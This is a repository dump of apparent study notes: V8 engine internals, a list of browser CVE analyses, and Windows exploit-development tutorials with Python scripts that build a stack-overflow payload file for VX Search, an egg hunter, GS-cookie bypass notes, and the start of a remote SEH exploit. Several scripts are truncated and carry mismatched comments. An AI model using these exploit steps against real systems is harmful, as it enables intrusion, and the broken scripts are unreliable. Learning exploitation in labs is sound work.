https://raw.githubusercontent.com/RingLcy/VulnerabilityAnalysisAndExploit/962e808058d273521bca50a22ef570dbf9083581/BrowserSecurity/README/V80.png -------------------------------------------------------------------------------- /BrowserSecurity/README/V81.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RingLcy/VulnerabilityAnalysisAndExploit/962e808058d273521bca50a22ef570dbf9083581/BrowserSecurity/README/V81.png -------------------------------------------------------------------------------- /BrowserSecurity/README/V810.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RingLcy/VulnerabilityAnalysisAndExploit/962e808058d273521bca50a22ef570dbf9083581/BrowserSecurity/README/V810.png -------------------------------------------------------------------------------- /BrowserSecurity/README/V811.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RingLcy/VulnerabilityAnalysisAndExploit/962e808058d273521bca50a22ef570dbf9083581/BrowserSecurity/README/V811.png -------------------------------------------------------------------------------- /BrowserSecurity/README/V812.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RingLcy/VulnerabilityAnalysisAndExploit/962e808058d273521bca50a22ef570dbf9083581/BrowserSecurity/README/V812.png -------------------------------------------------------------------------------- /BrowserSecurity/README/V813.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RingLcy/VulnerabilityAnalysisAndExploit/962e808058d273521bca50a22ef570dbf9083581/BrowserSecurity/README/V813.png -------------------------------------------------------------------------------- /BrowserSecurity/README/V814.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RingLcy/VulnerabilityAnalysisAndExploit/962e808058d273521bca50a22ef570dbf9083581/BrowserSecurity/README/V814.png -------------------------------------------------------------------------------- /BrowserSecurity/README/V815.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RingLcy/VulnerabilityAnalysisAndExploit/962e808058d273521bca50a22ef570dbf9083581/BrowserSecurity/README/V815.png -------------------------------------------------------------------------------- /BrowserSecurity/README/V816.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RingLcy/VulnerabilityAnalysisAndExploit/962e808058d273521bca50a22ef570dbf9083581/BrowserSecurity/README/V816.png -------------------------------------------------------------------------------- /BrowserSecurity/README/V817.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RingLcy/VulnerabilityAnalysisAndExploit/962e808058d273521bca50a22ef570dbf9083581/BrowserSecurity/README/V817.png -------------------------------------------------------------------------------- /BrowserSecurity/README/V818.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RingLcy/VulnerabilityAnalysisAndExploit/962e808058d273521bca50a22ef570dbf9083581/BrowserSecurity/README/V818.png -------------------------------------------------------------------------------- /BrowserSecurity/README/V819.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RingLcy/VulnerabilityAnalysisAndExploit/962e808058d273521bca50a22ef570dbf9083581/BrowserSecurity/README/V819.png -------------------------------------------------------------------------------- /BrowserSecurity/README/V82.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RingLcy/VulnerabilityAnalysisAndExploit/962e808058d273521bca50a22ef570dbf9083581/BrowserSecurity/README/V82.png -------------------------------------------------------------------------------- /BrowserSecurity/README/V820.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RingLcy/VulnerabilityAnalysisAndExploit/962e808058d273521bca50a22ef570dbf9083581/BrowserSecurity/README/V820.png -------------------------------------------------------------------------------- /BrowserSecurity/README/V821.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RingLcy/VulnerabilityAnalysisAndExploit/962e808058d273521bca50a22ef570dbf9083581/BrowserSecurity/README/V821.png -------------------------------------------------------------------------------- /BrowserSecurity/README/V822.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RingLcy/VulnerabilityAnalysisAndExploit/962e808058d273521bca50a22ef570dbf9083581/BrowserSecurity/README/V822.png -------------------------------------------------------------------------------- /BrowserSecurity/README/V823.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RingLcy/VulnerabilityAnalysisAndExploit/962e808058d273521bca50a22ef570dbf9083581/BrowserSecurity/README/V823.png -------------------------------------------------------------------------------- /BrowserSecurity/README/V824.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RingLcy/VulnerabilityAnalysisAndExploit/962e808058d273521bca50a22ef570dbf9083581/BrowserSecurity/README/V824.png -------------------------------------------------------------------------------- /BrowserSecurity/README/V825.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RingLcy/VulnerabilityAnalysisAndExploit/962e808058d273521bca50a22ef570dbf9083581/BrowserSecurity/README/V825.png -------------------------------------------------------------------------------- /BrowserSecurity/README/V826.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RingLcy/VulnerabilityAnalysisAndExploit/962e808058d273521bca50a22ef570dbf9083581/BrowserSecurity/README/V826.png -------------------------------------------------------------------------------- /BrowserSecurity/README/V827.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RingLcy/VulnerabilityAnalysisAndExploit/962e808058d273521bca50a22ef570dbf9083581/BrowserSecurity/README/V827.png -------------------------------------------------------------------------------- /BrowserSecurity/README/V828.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RingLcy/VulnerabilityAnalysisAndExploit/962e808058d273521bca50a22ef570dbf9083581/BrowserSecurity/README/V828.png -------------------------------------------------------------------------------- /BrowserSecurity/README/V829.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RingLcy/VulnerabilityAnalysisAndExploit/962e808058d273521bca50a22ef570dbf9083581/BrowserSecurity/README/V829.png -------------------------------------------------------------------------------- /BrowserSecurity/README/V83.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RingLcy/VulnerabilityAnalysisAndExploit/962e808058d273521bca50a22ef570dbf9083581/BrowserSecurity/README/V83.png -------------------------------------------------------------------------------- /BrowserSecurity/README/V84.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RingLcy/VulnerabilityAnalysisAndExploit/962e808058d273521bca50a22ef570dbf9083581/BrowserSecurity/README/V84.png -------------------------------------------------------------------------------- /BrowserSecurity/README/V85.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RingLcy/VulnerabilityAnalysisAndExploit/962e808058d273521bca50a22ef570dbf9083581/BrowserSecurity/README/V85.png -------------------------------------------------------------------------------- /BrowserSecurity/README/V86.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RingLcy/VulnerabilityAnalysisAndExploit/962e808058d273521bca50a22ef570dbf9083581/BrowserSecurity/README/V86.png -------------------------------------------------------------------------------- /BrowserSecurity/README/V87.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RingLcy/VulnerabilityAnalysisAndExploit/962e808058d273521bca50a22ef570dbf9083581/BrowserSecurity/README/V87.png -------------------------------------------------------------------------------- /BrowserSecurity/README/V88.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RingLcy/VulnerabilityAnalysisAndExploit/962e808058d273521bca50a22ef570dbf9083581/BrowserSecurity/README/V88.png -------------------------------------------------------------------------------- /BrowserSecurity/README/V89.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RingLcy/VulnerabilityAnalysisAndExploit/962e808058d273521bca50a22ef570dbf9083581/BrowserSecurity/README/V89.png -------------------------------------------------------------------------------- /BrowserSecurity/README/VbscriptBasics0.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RingLcy/VulnerabilityAnalysisAndExploit/962e808058d273521bca50a22ef570dbf9083581/BrowserSecurity/README/VbscriptBasics0.png -------------------------------------------------------------------------------- /BrowserSecurity/README/VbscriptBasics2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RingLcy/VulnerabilityAnalysisAndExploit/962e808058d273521bca50a22ef570dbf9083581/BrowserSecurity/README/VbscriptBasics2.png -------------------------------------------------------------------------------- /BrowserSecurity/README/VbscriptBasics3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RingLcy/VulnerabilityAnalysisAndExploit/962e808058d273521bca50a22ef570dbf9083581/BrowserSecurity/README/VbscriptBasics3.png -------------------------------------------------------------------------------- /BrowserSecurity/README/VbscriptBasics4.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RingLcy/VulnerabilityAnalysisAndExploit/962e808058d273521bca50a22ef570dbf9083581/BrowserSecurity/README/VbscriptBasics4.png -------------------------------------------------------------------------------- /BrowserSecurity/V8.md: -------------------------------------------------------------------------------- 1 | # Learning V8 2 | ## Workflow 3 | 4 | 1. https://speakerdeck.com/brn/source-to-binary-journey-of-v8-javascript-engine-english-version 5 | 2. http://eternalsakura13.com/2018/06/16/nodefest_v8/ 6 | 3. [How JavaScript works系列@zlatkov](https://blog.sessionstack.com/@zlatkov) 7 | 8 | ``` 9 | The Engine consists of two main components: 10 | * Memory Heap — this is where the memory allocation happens 11 | * Call Stack — this is where your stack frames are as your code executes 12 | ``` 13 | ![](README/V821.png) 14 | 15 | 16 | 17 | V8内部是多线程的: 18 | 19 | 1. 主线程 20 | 编译执行JavaScript 21 | 22 | 2. 一个单独的线程用于编译，当优化代码时，主线程也能继续执行 23 | 24 | 3. 分析线程 25 | 26 | 分析哪个函数耗时，需要被优化 27 | 28 | 4. 垃圾回收线程 29 | 30 | 31 | 32 | 33 | ## Object Representation 34 | 1. https://v8.dev/blog/fast-properties 35 | 2. http://www.jayconrod.com/posts/52/a-tour-of-v8--object-representation 36 | 37 | ### Object表示 38 | 对象内存结构一般如下图所示 39 | 40 | ![](README/V818.png) 41 | 42 | 对应下图 43 | 44 | ![](README/V819.png) 45 | 46 | 当有过多增加、删除属性的操作时，维护Hidden Class的成本很高；对象属性的存储方式退化到字典模式 47 | 48 | ![](README/V820.png) 49 | 50 | ### Hidden Class 51 | 当增加一个新的属性时，Old Hidden Class会增加一个到New Hidden Class的transition path，New Hidden Class会增加一个FIELD描述，描述新增加属性的相对偏移。transition 描述符使得那些以相同方式创建的object能够共享hidden class。 52 | 53 | ![](README/V823.png) 54 | 55 | 不同的创建顺序，意味着不同的transition path, 从而p1,p2的hidden class不同。 建议以相同顺序初始化object，使得它们能共用hidden class；也能做inline caching，提供性能。 56 | 57 | ![](README/V824.png) 58 | 59 | ### Elements 60 | https://v8.dev/blog/elements-kinds 61 | 62 | 我们将属性名为非负整数（0、1、2……）的属性称为Element。V8中，Element的存放和其他属性是分开的。每个对象都有一个指向Element数组的指针，对象Map中的Element Field将反映出Element是如何存储的, 常见的Elements Kind及其变化如下所示： 63 | 64 | 变化过程是不可逆的，且越往下/后变化，操作耗费越大 65 | 66 | 如果你在远远超过当前数组大小的下标赋值，V8会将数组转换为字典模式，将值以哈希表的形式存储。 67 | 68 | ``` 69 | const array = [1, 2, 3]; 70 | // elements kind: PACKED_SMI_ELEMENTS 71 | array.push(4.56); 72 | // elements kind: PACKED_DOUBLE_ELEMENTS 73 | array.push('x'); 74 | // elements kind: PACKED_ELEMENTS 75 | 76 | array.length; // 5 77 | array[9] = 1; // array[5] until array[8] are now holes 78 | // elements kind: HOLEY_ELEMENTS 79 | ``` 80 | 81 | ![](README/V827.png) 82 | 83 | ## Optimization 84 | 1. https://juejin.im/post/59f95af951882574d1723e70#heading-8 85 | 86 | 在V8 5.9之前，V8有两个编译器： 87 | 88 | 1. baseline编译器， full-codegen 89 | 将解析过的JavaScript(AST)直接翻译成机器码（machine code）, 此时的machine code还有很多冗余，执行速度相对较慢 90 | 91 | 2. 优化编译器，Crankshaft 92 | 优化是一个单独的线程，AST -> Hydrogen graph -> optimize Hydrogen graph -> Lithium -> optimized machine code 93 | 94 | 95 | ![](README/V822.png) 96 | 97 | 98 | V8优化机制 99 | 100 | 1. Inlining 101 | 102 | 预先内联尽可能多的代码，用函数主题替换函数调用 103 | 104 | 2. Hidden class 105 | 106 | 以字典模式(hash 模式)存储、访问对象非常耗时，V8使用hidden class 107 | 每个property的值都以数组的形式进行管理, 通过偏移值访问数组里的property值 108 | 109 | 3. Inline caching 110 | 111 | 基于假设：对同一个函数的多次调用发生在同一类object上 112 | 113 | 当同一个hidden class上发生两次相同函数调用时，V8略去了hidden class的查找，而是使用上次查找到的偏移 114 | 115 | 4. Compilation to machine code 116 | 117 | 这段可能理解地不太对。。。。 118 | 119 | 对于耗时的函数，Crankshaft会生成优化机器码。优化是在独立的线程做的，V8会转换当前执行的上下文，在执行慢代码的过程中切换到优化后版本，这个过程称之为OSR: on-stack replacement。 120 | 121 | 5. Garbage collection 122 | 123 | 标记清除方法 124 | 125 | 标记过程会终止JavaScript执行，为了控制GC成本和JavaScript的执行稳定，V8使用增量标记清除。 126 | 127 | 它不会遍历整个堆，而是遍历一部分后恢复执行，下次从上次遍历终止处继续开始。 128 | 129 | ![](README/V826.png) 130 | 131 | ** Ignition and TurboFan ** 132 | 133 | 引入生成中间语言(bytecode)的Ignition和优化编译器TurboFan，显著地提升了性能、节省了内存使用 134 | 135 | ![](README/V825.png) 136 | 137 | How to write better JavaScript？ 138 | 139 | 1. 对象属性初始化顺序一致 140 | 141 | 2. 在构造函数时初始化好对象，避免属性的动态添加，增加维护hidden class的成本 142 | 143 | 3. 多次重复调用一个函数 144 | 145 | 4. 避免稀疏数组，稀疏数组其实是一个hash表，获取元素代价较高 146 | 147 | 5. 多使用SMI数值，非SMI数值，V8需要将它转成double表示，并生成一个新的object来存储它。 148 | 149 | 150 | 151 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Vulnerability Analysis And Exploit 2 | 3 | 4 | ## 浏览器及插件漏洞调试 5 | 6 | [Browser 调试速查](BrowserSecurity/README.md) 7 | 8 | [[IE][CVE-2018-8174分析] UAF](BrowserSecurity/CVE-2018-8174.md) 9 | 10 | [[IE][CVE-2014-6332分析] 整数溢出](BrowserSecurity/CVE-2014-6332.md) 11 | 12 | [[IE][CVE-2016-0189分析] UAF](BrowserSecurity/CVE-2016-0189.md) 13 | 14 | [[IE][CVE-2014-0322分析] UAF](BrowserSecurity/CVE-2014-0322.md) 15 | 16 | [[Chrome][CVE-2016-5197分析] OOB](BrowserSecurity/CVE-2016-5197.md) 17 | 18 | [[Chrome][CVE-2017-5070分析] Type Confustion](BrowserSecurity/CVE-2017-5070.md) 19 | 20 | 21 | ## Tutorials 22 | 23 | ### Learning V8 24 | * [Learning V8](BrowserSecurity/V8.md) 25 | 26 | 27 | ### Windows Exploit Development 28 | * [[20190228][Part0: HackNotes]](WindowsExploitDevelopment/Part0-HackNotes.md) 29 | * [[20190212][Part1: StackOverflow]](WindowsExploitDevelopment/Part1-StackOverflow.md) 30 | * [[20190214][Part2: SEHExploit]](WindowsExploitDevelopment/Part2-SEHExploit.md) 31 | * [[20190217][Part3: BypassDEPwithROP]](WindowsExploitDevelopment/Part3-BypassDEPwithROP.md) 32 | * [[20190221][Part4: From0x00410041toCalc]](WindowsExploitDevelopment/Part4-From0x00410041toCalc.md) 33 | -------------------------------------------------------------------------------- /WindowsExploitDevelopment/Part0-HackNotes.md: -------------------------------------------------------------------------------- 1 | # Part0: HackNotes 2 | 3 | ** Just some reading notes when reading other people's stuff. ** 4 | 5 | ## [Introduction to Win32 shellcoding](https://www.corelan.be/index.php/2010/02/25/exploit-writing-tutorial-part-9-introduction-to-win32-shellcoding/) 6 | 7 | 1. Shellcode exitfunc 8 | ``` 9 | 3 techniques that can be used to exit the shellcode with : 10 | process : this will use ExitProcess() 11 | seh : this one will force an exception call.�� Keep in mind that this one might trigger the exploit code to run over and over again (if the original bug was SEH based for example) 12 | thread : this will use ExitThread() 13 | ``` 14 | 15 | 2. Find yourself : Get Program Counter 16 | Normaly, payload decoder needs to get the absolute base address at first. That's called "Get PC". 17 | 18 | - CALL $+5 (contain null bytes) 19 | ``` 20 | CALL $+5 # e800000000 21 | POP EAX # 58 22 | ``` 23 | 24 | - CALL label + pop (contain null bytes) 25 | ``` 26 | CALL geteip 27 | geteip: 28 | pop eax 29 | ``` 30 | 31 | - CALL $+4 (no null bytes) 32 | 33 | ``` 34 | CALL $+4 #\xe8\xff\xff\xff\xff 35 | RET #\xc3 36 | POP ECX #\x59 37 | ``` 38 | 39 | 40 | - FSTENV (no null bytes) 41 | 42 | Execute any FPU (Floating Point) instruction at the top of the code, then execute "FSTENV PTR SS: [ESP-C]" 43 | 44 | the FSTENV will store that state of the floating point chip which includes the address of that first instruction. 45 | 46 | ``` 47 | [BITS 32] 48 | FLDPI 49 | FSTENV [ESP-0xC] 50 | POP EBX 51 | ``` 52 | 53 | 54 | - Backward call(no null bytes) 55 | ``` 56 | [BITS 32] 57 | jmp short corelan 58 | geteip: 59 | pop esi 60 | call esi ;this will jump to decoder 61 | corelan: 62 | call geteip 63 | decoder: 64 | ; decoder goes here 65 | 66 | shellcode: 67 | ; encoded shellcode goes here 68 | ``` 69 | 70 | -------------------------------------------------------------------------------- /WindowsExploitDevelopment/Part1-StackOverflow.md: -------------------------------------------------------------------------------- 1 | # Part1: Stack Overflow 2 | 3 | ## Getting things setup 4 | 1. windows XP sp3 32-bit 5 | 2. [vulnerable software-vxsrchc.exe](https://www.exploit-db.com/apps/746ec728a4cf975be799c7f509db383e-vxsearchent_setup_v9.7.18.exe) 6 | 7 | When import a crafted XML file, it would cause a stack overflow and code execution. 8 | ![](Part1-StackOverflow/Part1-StackOverflow0.png) 9 | 10 | ## Crash 11 | ``` 12 | > python -c "print 'A'*2000" 13 | ``` 14 | ``` 15 | 16 | 18 | 19 | ``` 20 | 21 | 22 | Look, EIP got overwritten 23 | ![](Part1-StackOverflow/Part1-StackOverflow1.png) 24 | 25 | ## Identify offset 26 | 27 | ``` 28 | 0:002> !py mona pattern_create 2000 29 | 0:000> !py mona pattern_offset 42327a42 30 | Hold on... 31 | [+] Command used: 32 | !py mona.py pattern_offset 42327a42 33 | Looking for Bz2B in pattern of 500000 bytes 34 | - Pattern Bz2B (0x42327a42) found in cyclic pattern at position 1536 35 | 0:000> !py mona findmsp 36 | ``` 37 | 38 | 39 | ``` 40 | 41 | 44 | 45 | ``` 46 | 47 | ![](Part1-StackOverflow/Part1-StackOverflow2.png) 48 | 49 | In this case, the shellcode is on the stack, the next step is jumping to stack. Let's find a pointer to jump esp. 50 | 51 | 52 | 53 | ## Jump to ESP, pop calc 54 | ``` 55 | 0:000> !py mona jmp -r esp 56 | ``` 57 | 58 | I pick this one 59 | ![](Part1-StackOverflow/Part1-StackOverflow3.png) 60 | 61 | ``` 62 | import struct 63 | 64 | BUF_SIZE = 2000 # Set a consistent total buffer size 65 | 66 | junk = "\x41"*1536 # 997 bytes to hit EIP 67 | eip = struct.pack("\n' 82 | 83 | try: 84 | f = open(r"C:\Documents and Settings\Administrator\Desktop\payload.xml", "wb") # Exploit output will be written to C directory 85 | f.write(xml_payload) # Write entirety of buffer out to file 86 | f.close() # Close file 87 | print "\nNScan 0.9.1 Saved Return Pointer Overwrite Exploit" 88 | print "\nExploit written successfully!" 89 | print "Buffer size: " + str(len(xml_payload)) + "\n" # Buffer size sanity check to ensure there's nothing funny going on 90 | except Exception, e: 91 | print "\nError! Exploit could not be generated, error details follow:\n" 92 | print str(e) + "\n" 93 | ``` 94 | 95 | Here we go 96 | ![](Part1-StackOverflow/Part1-StackOverflow4.png) 97 | 98 | But let's take a look at stack memory, em, there are unexpected instructions! 99 | 100 | If our shellcode size is more than 16 bytes, it will exploit fail. 101 | 102 | ![](Part1-StackOverflow/Part1-StackOverflow5.png) 103 | 104 | So, we need to jump to these unexpected instructions. 105 | 106 | ## Jump to local shellcode 107 | 108 | Now, we use another [shellcode](http://shell-storm.org/shellcode/files/shellcode-662.php) which size is bigger. 109 | 110 | If we can take 0x14 bytes forward, we could skip the unexpected instructions. 111 | 112 | It seems mona creates incorrect "jmp 14" opcode, so I found this: [SHORT Relative Jumps on X86](https://thestarman.pcministry.com/asm/2bytejumps.htm) 113 | 114 | ``` 115 | import struct 116 | 117 | BUF_SIZE = 2000 # Set a consistent total buffer size 118 | 119 | junk = "\x41"*1536 # 1536 bytes to hit EIP 120 | eip = struct.pack("\n' 152 | 153 | try: 154 | f = open(r"C:\Documents and Settings\Administrator\Desktop\payload.xml", "wb") # Exploit output will be written to C directory 155 | f.write(xml_payload) # Write entirety of buffer out to file 156 | f.close() # Close file 157 | print "\nNScan 0.9.1 Saved Return Pointer Overwrite Exploit" 158 | print "\nExploit written successfully!" 159 | print "Buffer size: " + str(len(xml_payload)) + "\n" # Buffer size sanity check to ensure there's nothing funny going on 160 | except Exception, e: 161 | print "\nError! Exploit could not be generated, error details follow:\n" 162 | print str(e) + "\n" 163 | ``` 164 | 165 | ![](Part1-StackOverflow/Part1-StackOverflow6.png) 166 | 167 | 168 | ## Egg Hunter 169 | 170 | In the above series, the size of the available memory on the stack is big enough to fit our entire shellcode. What if the buffer size is too small? Here is a technique called egg hunting. It allows you to use a small shellcode to search the actual big shellcode in the memory and jump to execute it. 171 | 172 | ``` 173 | 0:000> !py mona egg 174 | ``` 175 | 176 | ![](Part1-StackOverflow/Part1-StackOverflow7.png) 177 | 178 | ``` 179 | import struct 180 | 181 | BUF_SIZE = 2000 # Set a consistent total buffer size 182 | 183 | junk = "\x41"*1536 # 1536 bytes to hit EIP 184 | eip = struct.pack("\n' 224 | 225 | try: 226 | f = open(r"C:\Documents and Settings\Administrator\Desktop\payload.xml", "wb") # Exploit output will be written to C directory 227 | f.write(xml_payload) # Write entirety of buffer out to file 228 | f.close() # Close file 229 | print "\nNScan 0.9.1 Saved Return Pointer Overwrite Exploit" 230 | print "\nExploit written successfully!" 231 | print "Buffer size: " + str(len(xml_payload)) + "\n" # Buffer size sanity check to ensure there's nothing funny going on 232 | except Exception, e: 233 | print "\nError! Exploit could not be generated, error details follow:\n" 234 | print str(e) + "\n" 235 | ``` 236 | 237 | ![](Part1-StackOverflow/Part1-StackOverflow9.png) 238 | 239 | Exploit Success! 240 | 241 | ![](Part1-StackOverflow/Part1-StackOverflow8.png) 242 | 243 | ## Stack cookie /GS bypass methods 244 | 245 | ** Some reading notes from [corelan's awesome paper](https://www.corelan.be/index.php/2009/09/21/exploit-writing-tutorial-part-6-bypassing-stack-cookies-safeseh-hw-dep-and-aslr/) ** 246 | 247 | 1. Bypass using Exception Handling 248 | ``` 249 | [buffer][cookie][EH record][saved ebp][saved eip][arguments ] 250 | 251 | overwrite - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - > 252 | ``` 253 | 2. Bypass by overwriting stack data in functions up the stack 254 | 255 | When pointers to objects or structures are passed to functions, and these objects or structures resided on the stack of their callers (parent function), then this could lead to GS cookie bypass. (overwrite object and vtable pointer. If you point this pointer to a fake vtable, you can redirect the virtual function call and execute your evil code) 256 | 257 | ``` 258 | #include "stdafx.h" 259 | #include "windows.h" 260 | class Foo { 261 | public: 262 | void __declspec(noinline) gs3(char* src) 263 | { 264 | char buf[8]; 265 | strcpy(buf, src); 266 | printf("%c", buf[1]); 267 | 268 | bar(); // virtual function call 269 | } 270 | virtual void __declspec(noinline) bar() 271 | { 272 | } 273 | }; 274 | int main() 275 | { 276 | Foo foo; 277 | char s1[29] = "AAAABBBBCCCCDDDDEEEEFFFFGGGG"; 278 | foo.gs3(s1); 279 | return 0; 280 | } 281 | ``` 282 | 283 | ``` 284 | before overwrite: 285 | 00effc48 00effc50 286 | 00effc4c 01242124 ConsoleApplication1!Foo::`vftable' 287 | 288 | after overwrite: 289 | 00effc48 46464646 290 | 00effc4c 47474747 ConsoleApplication1!`string' 291 | ``` 292 | 293 | ## Ref 294 | 1. http://www.shogunlab.com/blog/2017/08/19/zdzg-windows-exploit-1.html 295 | 2. http://www.shogunlab.com/blog/2017/08/26/zdzg-windows-exploit-2.html 296 | 3. http://www.shogunlab.com/blog/2017/09/02/zdzg-windows-exploit-3.html 297 | 4. https://www.corelan.be/index.php/2009/09/21/exploit-writing-tutorial-part-6-bypassing-stack-cookies-safeseh-hw-dep-and-aslr/ 298 | -------------------------------------------------------------------------------- /WindowsExploitDevelopment/Part1-StackOverflow/Part1-StackOverflow0.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RingLcy/VulnerabilityAnalysisAndExploit/962e808058d273521bca50a22ef570dbf9083581/WindowsExploitDevelopment/Part1-StackOverflow/Part1-StackOverflow0.png -------------------------------------------------------------------------------- /WindowsExploitDevelopment/Part1-StackOverflow/Part1-StackOverflow1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RingLcy/VulnerabilityAnalysisAndExploit/962e808058d273521bca50a22ef570dbf9083581/WindowsExploitDevelopment/Part1-StackOverflow/Part1-StackOverflow1.png -------------------------------------------------------------------------------- /WindowsExploitDevelopment/Part1-StackOverflow/Part1-StackOverflow2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RingLcy/VulnerabilityAnalysisAndExploit/962e808058d273521bca50a22ef570dbf9083581/WindowsExploitDevelopment/Part1-StackOverflow/Part1-StackOverflow2.png -------------------------------------------------------------------------------- /WindowsExploitDevelopment/Part1-StackOverflow/Part1-StackOverflow3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RingLcy/VulnerabilityAnalysisAndExploit/962e808058d273521bca50a22ef570dbf9083581/WindowsExploitDevelopment/Part1-StackOverflow/Part1-StackOverflow3.png -------------------------------------------------------------------------------- /WindowsExploitDevelopment/Part1-StackOverflow/Part1-StackOverflow4.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RingLcy/VulnerabilityAnalysisAndExploit/962e808058d273521bca50a22ef570dbf9083581/WindowsExploitDevelopment/Part1-StackOverflow/Part1-StackOverflow4.png -------------------------------------------------------------------------------- /WindowsExploitDevelopment/Part1-StackOverflow/Part1-StackOverflow5.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RingLcy/VulnerabilityAnalysisAndExploit/962e808058d273521bca50a22ef570dbf9083581/WindowsExploitDevelopment/Part1-StackOverflow/Part1-StackOverflow5.png -------------------------------------------------------------------------------- /WindowsExploitDevelopment/Part1-StackOverflow/Part1-StackOverflow6.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RingLcy/VulnerabilityAnalysisAndExploit/962e808058d273521bca50a22ef570dbf9083581/WindowsExploitDevelopment/Part1-StackOverflow/Part1-StackOverflow6.png -------------------------------------------------------------------------------- /WindowsExploitDevelopment/Part1-StackOverflow/Part1-StackOverflow7.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RingLcy/VulnerabilityAnalysisAndExploit/962e808058d273521bca50a22ef570dbf9083581/WindowsExploitDevelopment/Part1-StackOverflow/Part1-StackOverflow7.png -------------------------------------------------------------------------------- /WindowsExploitDevelopment/Part1-StackOverflow/Part1-StackOverflow8.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RingLcy/VulnerabilityAnalysisAndExploit/962e808058d273521bca50a22ef570dbf9083581/WindowsExploitDevelopment/Part1-StackOverflow/Part1-StackOverflow8.png -------------------------------------------------------------------------------- /WindowsExploitDevelopment/Part1-StackOverflow/Part1-StackOverflow9.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RingLcy/VulnerabilityAnalysisAndExploit/962e808058d273521bca50a22ef570dbf9083581/WindowsExploitDevelopment/Part1-StackOverflow/Part1-StackOverflow9.png -------------------------------------------------------------------------------- /WindowsExploitDevelopment/Part2-SEHExploit.md: -------------------------------------------------------------------------------- 1 | #Part2: SEHExploit 2 | 3 | ## Getting things setup 4 | 1. windows XP sp3 32-bit 5 | 2. [vulnerable software](https://www.exploit-db.com/apps/60f3ff1f3cd34dec80fba130ea481f31-efssetup.exe) 6 | 7 | this vulnerability is a GET HTTP Request Buffer Overflow and could lead to remote code execution. That means it could be exploited from a remote location. 8 | 9 | ## Structured Exception Handling(SEH) 10 | 11 | Windows SEH Chain, from [securitysift](http://www.securitysift.com/wp-content/uploads/2014/03/win_exploit_6_1-1.png) 12 | 13 | ![](Part2-SEHExploit/Part2-SEHExploit0.png) 14 | 15 | Every thread has its own SEH chain, SEH Chain is formed by a chain of Exception Registration Record which structure like this 16 | ``` 17 | typedef struct _EXCEPTION_REGISTRATION_RECORD { 18 | struct _EXCEPTION_REGISTRATION_RECORD *Next; 19 | PEXCEPTION_ROUTINE Handler; 20 | } EXCEPTION_REGISTRATION_RECORD, *PEXCEPTION_REGISTRATION_RECORD; 21 | ``` 22 | 23 | the first member is a pointer to next _EXCEPTION_REGISTRATION_RECORD, the second member is a pointer to an exception handler function. The function looks like this: 24 | 25 | ``` 26 | EXCEPTION_DISPOSITION 27 | __cdecl _except_handler( 28 | struct _EXCEPTION_RECORD *ExceptionRecord, 29 | oid EstablisherFrame, 30 | struct _CONTEXT *ContextRecord, 31 | void * DispatcherContext 32 | ); 33 | ``` 34 | 35 | ContextRecord contains registers data when exceptions occur, and bellow is the definition of ExceptionRecord. 36 | ``` 37 | typedef struct _EXCEPTION_RECORD { 38 | DWORD ExceptionCode; 39 | DWORD ExceptionFlags; 40 | struct _EXCEPTION_RECORD *ExceptionRecord; 41 | PVOID ExceptionAddress; 42 | DWORD NumberParameters; 43 | DWORD ExceptionInformation[EXCEPTION_MAXIMUM_PARAMETERS]; 44 | } EXCEPTION_RECORD; 45 | ``` 46 | 47 | The _except_handler uses the above two information to determine whether this exception can be handled or not. If it can handle this exception, the return value of EXCEPTION_DISPOSITION is ExceptionContinueExecution. Else, it returns ExceptionContinueSearch to tell OS search next _EXCEPTION_REGISTRATION_RECORD. 48 | 49 | How to locate SEH Chain? 50 | ``` 51 | get the first Exception Registration Record 52 | > !teb 53 | get the SEH chain of current thread 54 | > !exchain 55 | ``` 56 | 57 | 58 | ## Crash 59 | ``` 60 | import socket 61 | import os 62 | import time 63 | import sys 64 | import struct 65 | 66 | 67 | host = "192.168.95.149" 68 | # Port of host 69 | port = 80 70 | BUF_SIZE = 3000 71 | 72 | buf = "/.:/" # Unusual, but needed 73 | # Character pattern buffer to locate SEH offset 74 | buf += 